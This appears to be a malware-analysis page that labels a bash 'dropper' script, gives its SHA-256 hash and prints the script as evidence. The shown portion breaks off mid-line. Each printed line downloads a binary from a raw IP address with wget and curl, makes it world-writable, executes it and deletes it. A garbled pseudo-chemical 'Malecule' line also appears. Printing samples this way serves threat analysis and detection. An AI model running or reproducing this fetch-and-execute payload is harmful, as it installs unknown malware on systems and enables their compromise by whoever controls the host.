ok
Malicious dropper script
Raw-IP wget world-writable fetch executeRepeated raw-IP payload download chmod execution
SHA-256843fce364399960ac7f9f7f151c4c3fa73756cb3d4f3fd2e9b423b381fe632ca
MaleculeO(C₃)H₃(Cm₇F₃Po)
Evidence
1#!/bin/bash
2wget http://5.182.210.174/85b2df; curl -O http://5.182.210.174/85b2df; chmod 777 85b2df; ./85b2df bc; rm -rf 85b2df; rm -rf 85b2df.1
3wget http://5.182.210.174/c904d1; curl -O http://5.182.210.174/c904d1; chmod 777 c904d1; ./c904d1 bc; rm -rf c904d1; rm -rf c904d1.1
4wget http://5.182.210.174/8f7b62; curl -O http://5.182.210.174/8f7b62; chmod 777 8f7b62; ./8f7b62 bc; rm -rf 8f7b62; rm -rf 8f7b62.1
5wget http://5.182.210.174/e0e83a; curl -O http://5.182.210.174/e0e83a; chmod 777 e0e83a; ./e0e83a bc; rm -rf e0e83a; rm -rf e0e83a.1
6wget http://5.182.210.174/dc838b; curl -O http://5.182.210.174/dc838b; chmod 777 dc838b; ./dc838b bc; rm -rf dc838b; rm -rf dc838b.1
7wget http://5.182.210.174/04b573; curl -O http://5.182.210.174/04b573; chmod 777 04b573; ./04b573 bc; rm -rf 04b573; rm -rf 04b573.1
8wget http://5.182.210.174/8b7697; curl -O http://5.182.210.174/8b7697; chmod 777 8b7697; ./8b7697 bc; rm -rf 8b7697; rm -rf 8b7697.1
9wget http://5.182.210.174/3494e0; curl -O http://5.182.210.174/3494e0; chmod 777 3494e0; ./3494e0 bc; rm -rf 3494e0; rm -rf 3494e0.1
10wget http://5.182.210.174/f579a2; curl -O http://5.182.210.174/f579a2; chmod 777 f579a2; ./f579a2 bc; rm -rf f579a2; rm -rf f579a2.1
11wget http://5.182.210.174/7f2a83; curl -O http://5.182.210.174/7f2a83; chmod 777 7f2a83 …